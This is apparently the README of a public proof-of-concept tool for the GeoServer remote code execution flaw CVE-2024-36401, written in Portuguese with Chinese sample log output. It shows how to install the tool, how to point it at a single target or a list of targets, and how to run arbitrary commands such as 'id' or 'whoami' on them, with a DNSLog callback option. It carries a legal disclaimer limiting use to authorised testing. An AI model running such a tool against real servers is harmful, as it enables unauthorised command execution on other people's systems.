
Este script é uma ferramenta de detecção PoC (Proof of Concept) desenvolvida para a vulnerabilidade de execução remota de código no GeoServer (CVE-2024-36401). Essa vulnerabilidade permite que um atacante execute comandos arbitrários no servidor de destino por meio da construção de requisições específicas.
⚠️ Aviso legal: Esta ferramenta destina-se exclusivamente a pesquisa de segurança e testes com autorização legítima. Não a utilize para fins ilícitos. O usuário assume toda a responsabilidade legal.
Versão do README: [Inglês | Chinês]
Este script é uma ferramenta de detecção PoC (Proof of Concept) desenvolvida para a vulnerabilidade de execução remota de código (CVE-2024-36401) no GeoServer. Essa vulnerabilidade permite que um atacante execute comandos arbitrários no servidor de destino ao construir solicitações específicas.
Certifique-se de que as seguintes dependências estejam instaladas no seu ambiente de execução:
requestslxmlVocê pode instalar as dependências necessárias com o seguinte comando:
pip install requests lxml
python poc.py -u http://target.com -d dnslog.example.com
Ou especifique o comando a ser executado:
python poc.py -u http://target.com -c "touch /tmp/vulntest"
Prepare um arquivo de texto contendo várias URLs de destino (uma por linha):
python poc.py -uf targets.txt -d dnslog.example.com
Ou especifique um comando:
python poc.py -uf targets.txt -c "id"
Instruções detalhadas de uso: Documento de instruções detalhadas
⚠️ Atenção: os parâmetros
-de-cnão podem ser usados simultaneamente.
[INFO] 爬取到3个有效的 Typenames,开始漏洞探测
[INFO] 目标: http://example.com
[INFO] 执行命令: whoami
[INFO] DNSLOG地址:
[INFO] 正在尝试 typeName: topp:states -> whoami
[+] 命令疑似成功执行!目标: http://example.com 命令: whoami
/geoserver/wfs.Contribuições são bem-vindas! Envie uma Issue ou um Pull Request para ajudar a melhorar este projeto.
Este projeto é licenciado sob a MIT License. Você pode modificar, distribuir e usar comercialmente livremente, mas deve manter o aviso de direitos autorais.
| Parâmetro | Descrição |
|---|
-u, --url | Especifica o endereço de um único alvo |
-uf, --url-file | Especifica o caminho de um arquivo que contém várias URLs de destino |
-d, --dnslog | Especifica o endereço DNSLog |
-c, --command | Especifica o comando a ser executado no sistema de destino (ex.: whoami, id, curl, etc.) |